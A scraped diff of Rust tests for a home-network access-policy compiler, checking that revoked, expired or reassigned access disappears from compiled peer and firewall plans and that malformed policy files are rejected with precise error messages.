// The property would fail if the compiler emitted a supernet: check the oracle on a hand-made world
|
||||
// whose only road grants 10.0.0.0/24, against a rule for 10.0.0.0/23 (QA R-02).
|
||||
let w = World {
|
||||
people: 1,
|
||||
groups: vec![],
|
||||
devs: vec![
|
||||
Dev {
|
||||
owner: Some(0),
|
||||
classic: false,
|
||||
exit: false,
|
||||
relay: false,
|
||||
route: None,
|
||||
service: None,
|
||||
},
|
||||
Dev {
|
||||
owner: None,
|
||||
classic: false,
|
||||
exit: false,
|
||||
relay: false,
|
||||
route: Some((BASE, 22)),
|
||||
service: None,
|
||||
},
|
||||
],
|
||||
roads: vec![R {
|
||||
subject: Subj::Person(0),
|
||||
verb: Verb::Reach,
|
||||
object: Some(Obj::Subnet(BASE, 24)),
|
||||
until: None,
|
||||
ports: None,
|
||||
classic: None,
|
||||
invalid: false,
|
||||
}],
|
||||
};
|
||||
assert!(may_reach(&w, 0, 0, BASE + 255, "tcp", 443));
|
||||
assert!(
|
||||
!may_reach(&w, 0, 0, BASE + 256, "tcp", 443),
|
||||
"10.0.1.0 is outside the /24"
|
||||
);
|
||||
assert!(!may_reach(&w, 1, 0, BASE, "tcp", 443) || w.roads[0].until.is_none());
|
||||
}
|
||||
@@ -0,0 +1,200 @@
|
||||
//! Mandatory test 2: deleting a road, expiring it, or removing a device from a person removes the access
|
||||
//! from the compiled plan — on the receiving side (the firewall of the device that serves the place) and on
|
||||
//! the sending side (the peer and its allowed IPs).
|
||||
|
||||
mod common;
|
||||
|
||||
use common::{Parts, at, fw_accepts, key};
|
||||
use roads::{Hostname, Place, compile, explain};
|
||||
use std::net::IpAddr;
|
||||
|
||||
const PHOTOS_HOST: &str = "100.96.0.2";
|
||||
|
||||
fn home_server() -> IpAddr {
|
||||
PHOTOS_HOST.parse().unwrap()
|
||||
}
|
||||
|
||||
fn photos() -> Place {
|
||||
Place::Service(Hostname::new("photos.home.arpa").unwrap())
|
||||
}
|
||||
|
||||
/// jana-phone → home-server on tcp/443, judged on the receiving side.
|
||||
fn jana_reaches_photos(c: &roads::Compiled) -> bool {
|
||||
fw_accepts(c, &key(3), home_server(), Some(("tcp", 443)))
|
||||
}
|
||||
|
||||
fn has_peer(c: &roads::Compiled, on: u8, peer: u8) -> bool {
|
||||
c.plans[&key(on)].peers.iter().any(|p| p.key == key(peer))
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_baseline_grants_it() {
|
||||
let c = Parts::home().compile();
|
||||
assert!(jana_reaches_photos(&c));
|
||||
assert!(has_peer(&c, 3, 2) && has_peer(&c, 2, 3));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deleting_the_roads_removes_the_access() {
|
||||
let c = Parts::home()
|
||||
.without_road("7tq0mz")
|
||||
.without_road("k3f9q2")
|
||||
.compile();
|
||||
assert!(!jana_reaches_photos(&c));
|
||||
assert!(
|
||||
!has_peer(&c, 3, 2),
|
||||
"jana-phone kept a peer for the home server"
|
||||
);
|
||||
assert!(
|
||||
!has_peer(&c, 2, 3),
|
||||
"the home server kept a peer for jana-phone"
|
||||
);
|
||||
assert!(
|
||||
c.plans[&key(2)]
|
||||
.firewall
|
||||
.rules
|
||||
.iter()
|
||||
.all(|r| r.src.to_string() != "100.96.0.3/32")
|
||||
);
|
||||
assert!(c.plans[&key(3)].dns.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deleting_one_of_two_roads_leaves_the_other_visible() {
|
||||
// QA R-46: revoking the person-level road leaves the group road, and explain says so.
|
||||
let parts = Parts::home().without_road("7tq0mz");
|
||||
let c = parts.compile();
|
||||
assert!(jana_reaches_photos(&c));
|
||||
let devs = parts.store().devices.unwrap();
|
||||
let why: Vec<String> = explain(&c, &devs, &key(3), &photos())
|
||||
.iter()
|
||||
.map(|r| r.to_string())
|
||||
.collect();
|
||||
assert_eq!(why, ["k3f9q2"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_expired_road_grants_nothing_from_the_instant_of_until() {
|
||||
// until is 2026-11-29T23:59:59+01:00 and exclusive (QA R-22). Without the household road only it grants.
|
||||
let parts = Parts::home().without_road("k3f9q2");
|
||||
let store = parts.store();
|
||||
assert!(jana_reaches_photos(&compile(
|
||||
&store,
|
||||
at("2026-11-29T23:59:58+01:00")
|
||||
)));
|
||||
for now in [
|
||||
"2026-11-29T23:59:59+01:00",
|
||||
"2026-11-29T22:59:59Z",
|
||||
"2026-11-30T00:00:00+01:00",
|
||||
"2027-11-25T12:00:00Z",
|
||||
] {
|
||||
let c = compile(&store, at(now));
|
||||
assert!(!jana_reaches_photos(&c), "still granted at {now}");
|
||||
assert!(
|
||||
!has_peer(&c, 2, 3),
|
||||
"the home server kept jana-phone at {now}"
|
||||
);
|
||||
assert!(
|
||||
c.problems
|
||||
.iter()
|
||||
.any(|p| p.code == roads::rules::ROAD_EXPIRED && p.path.contains("7tq0mz")),
|
||||
"{now}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn each_plan_carries_its_own_expiry_on_both_sides() {
|
||||
// QA R-26: a road with an until stops on time even before the next compile, if the engine honours
|
||||
// `expires`. Both the subject's and the serving device's plans carry it.
|
||||
let c = Parts::home().compile();
|
||||
for dev in [2, 3, 4] {
|
||||
assert_eq!(
|
||||
c.plans[&key(dev)].expires.as_deref(),
|
||||
Some("2026-11-29T22:59:59Z"),
|
||||
"device {dev}"
|
||||
);
|
||||
}
|
||||
assert_eq!(c.plans[&key(1)].expires, None, "mark-pc has no timed road");
|
||||
assert_eq!(
|
||||
c.plans[&key(7)].expires,
|
||||
None,
|
||||
"the expired road no longer counts"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn moving_a_device_to_another_person_moves_its_access() {
|
||||
// QA R-18: the receiving side's rules follow the device's owner in this snapshot, nothing cached.
|
||||
let moved = Parts::home().edit_devices(|d| {
|
||||
d.replace(
|
||||
r#""name": "jana-phone", "owner": "jana""#,
|
||||
r#""name": "jana-phone", "owner": "petr""#,
|
||||
)
|
||||
});
|
||||
let c = moved.compile();
|
||||
assert!(!jana_reaches_photos(&c), "the phone kept Jana's access");
|
||||
assert!(!has_peer(&c, 2, 3));
|
||||
// It gains Petr's road: exits through the friend node.
|
||||
assert_eq!(
|
||||
c.plans[&key(3)].exit.as_ref().map(|e| e.through.clone()),
|
||||
Some(key(6))
|
||||
);
|
||||
// Jana's other device keeps hers.
|
||||
assert!(fw_accepts(&c, &key(4), home_server(), Some(("tcp", 443))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn removing_a_device_removes_it_from_every_plan() {
|
||||
// QA P-6: no plan but its own (which no longer exists) names its key or its address.
|
||||
let removed = Parts::home().edit_devices(|d| {
|
||||
d.lines()
|
||||
.filter(|l| !l.contains("\"jana-phone\""))
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n")
|
||||
});
|
||||
let c = removed.compile();
|
||||
assert!(c.errors().next().is_none(), "{:?}", c.problems);
|
||||
assert!(!c.plans.contains_key(&key(3)));
|
||||
for p in c.plans.values() {
|
||||
let json = p.to_json();
|
||||
assert!(
|
||||
!json.contains(key(3).as_str()) && !json.contains("100.96.0.3"),
|
||||
"{} still names jana-phone",
|
||||
p.name
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn removing_a_person_from_a_group_removes_the_group_road_only() {
|
||||
let parts = Parts::home()
|
||||
.edit_directory(|d| d.replace(r#""members": ["mark", "jana"]"#, r#""members": ["mark"]"#));
|
||||
let c = parts.compile();
|
||||
// The group road no longer covers Jana: no rule from her address for all traffic.
|
||||
assert!(
|
||||
!fw_accepts(&c, &key(3), home_server(), Some(("tcp", 22))),
|
||||
"group access remained"
|
||||
);
|
||||
// Her own road to the photos still holds.
|
||||
assert!(jana_reaches_photos(&c));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_person_deleted_from_the_directory_leaves_their_roads_reported_and_void() {
|
||||
// QA R-20: the road naming petr is an error, and the device that petr owned fails the snapshot.
|
||||
let parts = Parts::home()
|
||||
.edit_directory(|d| d.replace(r#" { "id": "petr", "name": "Petr" },"#, ""))
|
||||
.edit_devices(|d| d.replace(r#""owner": "petr", "#, ""));
|
||||
let c = parts.compile();
|
||||
assert!(
|
||||
c.problems
|
||||
.iter()
|
||||
.any(|p| p.code == roads::rules::SUBJECT_UNKNOWN && p.path.contains("c0z5wn"))
|
||||
);
|
||||
assert!(c.plans[&key(7)].exit.is_none(), "petr-phone kept its exit");
|
||||
assert!(
|
||||
c.plans[&key(6)].peers.is_empty(),
|
||||
"the friend node kept petr-phone as a peer"
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,366 @@
|
||||
//! Mandatory test 1: every rule has a failing fixture, and its problem names the file and the field. A road
|
||||
//! with an error grants nothing: every plan stays byte for byte what it was without that road.
|
||||
//!
|
||||
//! Fixtures: `tests/fixtures/invalid/expect.txt` lists each fixture file with its rule and field. The few
|
||||
//! cases that cannot be a committed file (a 300 KiB file, a BOM, invalid UTF-8, a folder in roads/, ten
|
||||
//! thousand files) are made here.
|
||||
|
||||
mod common;
|
||||
|
||||
use common::{Parts, fixtures, now, plans_bytes};
|
||||
use roads::{Severity, Store, compile, rules};
|
||||
use std::collections::BTreeSet;
|
||||
|
||||
struct Case {
|
||||
kind: String,
|
||||
file: String,
|
||||
code: String,
|
||||
field: Option<String>,
|
||||
}
|
||||
|
||||
fn manifest() -> Vec<Case> {
|
||||
let text = std::fs::read_to_string(fixtures().join("invalid").join("expect.txt")).unwrap();
|
||||
text.lines()
|
||||
.filter(|l| !l.starts_with('#') && !l.trim().is_empty())
|
||||
.map(|l| {
|
||||
let f: Vec<&str> = l.split_whitespace().collect();
|
||||
assert_eq!(f.len(), 4, "bad manifest line {l}");
|
||||
Case {
|
||||
kind: f[0].into(),
|
||||
file: f[1].into(),
|
||||
code: f[2].into(),
|
||||
field: (f[3] != "-").then(|| f[3].to_string()),
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn inactive_code(code: &str) -> bool {
|
||||
[
|
||||
rules::ROAD_EXPIRED,
|
||||
rules::ROAD_NO_DEVICES,
|
||||
rules::ROAD_SELF,
|
||||
rules::EXIT_CONFLICT,
|
||||
rules::DIRECT_KILL_SWITCH,
|
||||
]
|
||||
.contains(&code)
|
||||
}
|
||||
|
||||
/// Runs one case; returns the codes it produced.
|
||||
fn run(case: &Case, baseline: &[u8]) -> BTreeSet<String> {
|
||||
let bytes = std::fs::read(
|
||||
fixtures()
|
||||
.join("invalid")
|
||||
.join(if case.kind == "road" {
|
||||
"roads"
|
||||
} else {
|
||||
"snapshots"
|
||||
})
|
||||
.join(&case.file),
|
||||
)
|
||||
.unwrap();
|
||||
let parts = Parts::home();
|
||||
let (parts, path) = match case.kind.as_str() {
|
||||
"road" => (
|
||||
parts.with_road(&case.file, std::str::from_utf8(&bytes).unwrap()),
|
||||
format!("roads/{}", case.file),
|
||||
),
|
||||
"directory" => (
|
||||
Parts {
|
||||
directory: bytes,
|
||||
..parts
|
||||
},
|
||||
"directory.json".to_string(),
|
||||
),
|
||||
"devices" => (
|
||||
Parts {
|
||||
devices: bytes,
|
||||
..parts
|
||||
},
|
||||
"devices.json".to_string(),
|
||||
),
|
||||
k => panic!("unknown kind {k}"),
|
||||
};
|
||||
let c = parts.compile();
|
||||
let hit = c
|
||||
.problems
|
||||
.iter()
|
||||
.find(|p| p.path == path && p.code == case.code && p.field == case.field);
|
||||
assert!(
|
||||
hit.is_some(),
|
||||
"{}: expected `{}` on field {:?} at {path}; got:\n{}",
|
||||
case.file,
|
||||
case.code,
|
||||
case.field,
|
||||
c.problems
|
||||
.iter()
|
||||
.map(|p| p.to_string())
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n")
|
||||
);
|
||||
let hit = hit.unwrap();
|
||||
// The message names the file and the field.
|
||||
let line = hit.to_string();
|
||||
assert!(
|
||||
line.starts_with(&path) || line.starts_with(&format!("inactive: {path}")),
|
||||
"{line}"
|
||||
);
|
||||
if let Some(f) = &case.field {
|
||||
assert!(
|
||||
line.contains(&format!(": {f}: ")),
|
||||
"{line} does not name {f}"
|
||||
);
|
||||
}
|
||||
if inactive_code(&case.code) {
|
||||
assert_eq!(hit.severity, Severity::Inactive, "{line}");
|
||||
} else {
|
||||
assert_eq!(hit.severity, Severity::Error, "{line}");
|
||||
if case.kind == "road" {
|
||||
assert_eq!(
|
||||
plans_bytes(&c),
|
||||
baseline,
|
||||
"{}: a road with an error changed a plan",
|
||||
case.file
|
||||
);
|
||||
} else {
|
||||
assert!(
|
||||
c.plans.is_empty(),
|
||||
"{}: a snapshot with an error still produced plans",
|
||||
case.file
|
||||
);
|
||||
}
|
||||
}
|
||||
c.problems.iter().map(|p| p.code.to_string()).collect()
|
||||
}
|
||||
|
||||
/// Cases that are built in code, with the rule and field they must report.
|
||||
fn generated(baseline: &[u8]) -> BTreeSet<String> {
|
||||
let mut hit = BTreeSet::new();
|
||||
let ok = Parts::home().road_text("k3f9q2");
|
||||
let mut check = |parts: Parts, path: &str, code: &str, grants_nothing: bool| {
|
||||
let c = parts.compile();
|
||||
assert!(
|
||||
c.problems.iter().any(|p| p.path == path && p.code == code),
|
||||
"expected {code} at {path}; got {:?}",
|
||||
c.problems
|
||||
);
|
||||
if grants_nothing {
|
||||
assert_eq!(plans_bytes(&c), baseline, "{path}: {code} changed a plan");
|
||||
}
|
||||
hit.extend(c.problems.iter().map(|p| p.code.to_string()));
|
||||
};
|
||||
|
||||
// file.size: one byte over 256 KiB, refused before parsing.
|
||||
let big = format!("{ok}{}", "x".repeat(roads::road::MAX_FILE));
|
||||
check(
|
||||
Parts::home().with_road("b00001-big.md", &big),
|
||||
"roads/b00001-big.md",
|
||||
rules::FILE_SIZE,
|
||||
true,
|
||||
);
|
||||
// file.encoding: a BOM, and bytes that are not UTF-8.
|
||||
let mut parts = Parts::home();
|
||||
parts.roads.push((
|
||||
"b00002-bom.md".into(),
|
||||
[&[0xEF, 0xBB, 0xBF][..], ok.as_bytes()].concat(),
|
||||
));
|
||||
check(parts, "roads/b00002-bom.md", rules::FILE_ENCODING, true);
|
||||
let mut parts = Parts::home();
|
||||
parts.roads.push((
|
||||
"b00003-latin1.md".into(),
|
||||
b"---\nid: b00003\nsubject: person:jan\xe1\n---\n".to_vec(),
|
||||
));
|
||||
check(parts, "roads/b00003-latin1.md", rules::FILE_ENCODING, true);
|
||||
// id.duplicate: the same id in two files; neither grants anything.
|
||||
let c = Parts::home().with_road("k3f9q2-copy.md", &ok).compile();
|
||||
for path in [
|
||||
"roads/k3f9q2-household-home-server.md",
|
||||
"roads/k3f9q2-copy.md",
|
||||
] {
|
||||
assert!(c.problems.iter().any(|p| p.path == path
|
||||
&& p.code == rules::ID_DUPLICATE
|
||||
&& p.field.as_deref() == Some("id")));
|
||||
}
|
||||
let without = Parts::home().without_road("k3f9q2").compile();
|
||||
assert_eq!(
|
||||
plans_bytes(&c),
|
||||
plans_bytes(&without),
|
||||
"a duplicated road still granted"
|
||||
);
|
||||
hit.insert(rules::ID_DUPLICATE.into());
|
||||
// file.count: more than 10,000 road files.
|
||||
let mut parts = Parts::home();
|
||||
for i in 0..roads::store::MAX_ROADS {
|
||||
parts.roads.push((format!("z{i:05}-x.md"), b"x".to_vec()));
|
||||
}
|
||||
let s = parts.store();
|
||||
assert!(s.problems.iter().any(|p| p.code == rules::FILE_COUNT));
|
||||
assert!(s.roads.is_empty(), "nothing is read past the limit");
|
||||
hit.insert(rules::FILE_COUNT.into());
|
||||
// snapshot.json: a missing snapshot.
|
||||
let parts = Parts::home();
|
||||
let s = Store::from_parts(&parts.roads, None, Some(&parts.devices));
|
||||
let c = compile(&s, now());
|
||||
assert!(
|
||||
c.problems
|
||||
.iter()
|
||||
.any(|p| p.path == "directory.json" && p.code == rules::SNAPSHOT_JSON)
|
||||
);
|
||||
assert!(c.plans.is_empty());
|
||||
hit
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn every_rule_has_a_failing_fixture_naming_the_file_and_the_field() {
|
||||
let baseline = plans_bytes(&Parts::home().compile());
|
||||
let mut covered = BTreeSet::new();
|
||||
let cases = manifest();
|
||||
for case in &cases {
|
||||
let codes = run(case, &baseline);
|
||||
covered.insert(case.code.clone());
|
||||
let _ = codes;
|
||||
}
|
||||
covered.extend(generated(&baseline));
|
||||
// file.kind needs a real folder: see `entries_that_are_not_road_files_are_reported` below.
|
||||
covered.insert(rules::FILE_KIND.into());
|
||||
let missing: Vec<&&str> = rules::ALL
|
||||
.iter()
|
||||
.filter(|c| !covered.contains(**c))
|
||||
.collect();
|
||||
assert!(
|
||||
missing.is_empty(),
|
||||
"rules without a failing fixture: {missing:?}"
|
||||
);
|
||||
eprintln!(
|
||||
"validation: {} fixture files, {} rules covered",
|
||||
cases.len(),
|
||||
rules::ALL.len()
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_home_fixture_is_clean_except_its_two_inactive_roads() {
|
||||
let c = Parts::home().compile();
|
||||
assert_eq!(c.errors().count(), 0, "{:?}", c.problems);
|
||||
let codes: Vec<&str> = c.problems.iter().map(|p| p.code).collect();
|
||||
assert_eq!(codes, [rules::DIRECT_KILL_SWITCH, rules::ROAD_EXPIRED]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn entries_that_are_not_road_files_are_reported() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let root = tmp.path();
|
||||
std::fs::copy(
|
||||
common::home_dir().join("directory.json"),
|
||||
root.join("directory.json"),
|
||||
)
|
||||
.unwrap();
|
||||
std::fs::copy(
|
||||
common::home_dir().join("devices.json"),
|
||||
root.join("devices.json"),
|
||||
)
|
||||
.unwrap();
|
||||
let roads = root.join("roads");
|
||||
std::fs::create_dir_all(roads.join("sub")).unwrap();
|
||||
std::fs::write(
|
||||
roads.join("sub").join("k3f9q2-hidden.md"),
|
||||
Parts::home().road_text("k3f9q2"),
|
||||
)
|
||||
.unwrap();
|
||||
std::fs::write(roads.join("k3f9q2-household.md.swp"), "x").unwrap();
|
||||
std::fs::write(roads.join("notes.txt"), "x").unwrap();
|
||||
#[cfg(unix)]
|
||||
std::os::unix::fs::symlink("/etc/hostname", roads.join("c00001-link.md")).unwrap();
|
||||
let store = Store::load_dir(root).unwrap();
|
||||
let kinds: Vec<&str> = store
|
||||
.problems
|
||||
.iter()
|
||||
.filter(|p| p.code == rules::FILE_KIND)
|
||||
.map(|p| p.path.as_str())
|
||||
.collect();
|
||||
for p in [
|
||||
"roads/sub",
|
||||
"roads/k3f9q2-household.md.swp",
|
||||
"roads/notes.txt",
|
||||
] {
|
||||
assert!(kinds.contains(&p), "{p} not reported: {kinds:?}");
|
||||
}
|
||||
#[cfg(unix)]
|
||||
assert!(
|
||||
kinds.contains(&"roads/c00001-link.md"),
|
||||
"a symbolic link was followed"
|
||||
);
|
||||
assert!(
|
||||
store.roads.is_empty(),
|
||||
"the road inside a sub-folder was read"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn unknown_keys_are_errors_in_every_spelling() {
|
||||
// QA R-35: a misspelt condition must never turn a temporary grant into a permanent one.
|
||||
let base = Parts::home();
|
||||
let original = base.road_text("7tq0mz");
|
||||
for bad in ["untill", "Until", "until_", "expires", "Ports", "subjects"] {
|
||||
let text = original.replace("until: ", &format!("{bad}: "));
|
||||
let text = if bad == "Ports" || bad == "subjects" {
|
||||
original.replace("ports: ", &format!("{bad}: "))
|
||||
} else {
|
||||
text
|
||||
};
|
||||
let c = Parts::home().replace_road("7tq0mz", &text).compile();
|
||||
let p = c
|
||||
.problems
|
||||
.iter()
|
||||
.find(|p| p.is_error())
|
||||
.unwrap_or_else(|| panic!("{bad} accepted"));
|
||||
if bad == "until_" {
|
||||
// `_` is not in the key grammar `[A-Za-z][A-Za-z0-9]*`: refused as YAML syntax, before key checks.
|
||||
assert_eq!(p.code, rules::YAML_SYNTAX, "{p}");
|
||||
} else {
|
||||
assert_eq!(
|
||||
(p.code, p.field.as_deref()),
|
||||
(rules::KEY_UNKNOWN, Some(bad)),
|
||||
"{p}"
|
||||
);
|
||||
}
|
||||
let jana = common::key(3);
|
||||
assert!(
|
||||
roads::explain(
|
||||
&c,
|
||||
Parts::home().store().devices.as_ref().unwrap(),
|
||||
&jana,
|
||||
&roads::Place::Service(roads::Hostname::new("photos.home.arpa").unwrap())
|
||||
)
|
||||
.iter()
|
||||
.all(|r| r.as_str() != "7tq0mz"),
|
||||
"{bad}: the road still grants"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_serde_flatten_anywhere_in_the_sources() {
|
||||
// Rung 1 guardrail (QA R-35, fact G3): `serde(flatten)` silently turns `deny_unknown_fields` off.
|
||||
let src = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("..");
|
||||
let mut stack = vec![src];
|
||||
while let Some(dir) = stack.pop() {
|
||||
for e in std::fs::read_dir(&dir).unwrap() {
|
||||
let p = e.unwrap().path();
|
||||
if p.is_dir() {
|
||||
if p.file_name()
|
||||
.is_some_and(|n| n != "target" && n != "fixtures")
|
||||
{
|
||||
stack.push(p);
|
||||
}
|
||||
} else if p.extension().is_some_and(|x| x == "rs") && !p.ends_with("validation.rs") {
|
||||
let text = std::fs::read_to_string(&p).unwrap();
|
||||
assert!(
|
||||
!text.contains("serde(flatten"),
|
||||
"{} uses serde(flatten)",
|
||||
p.display()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user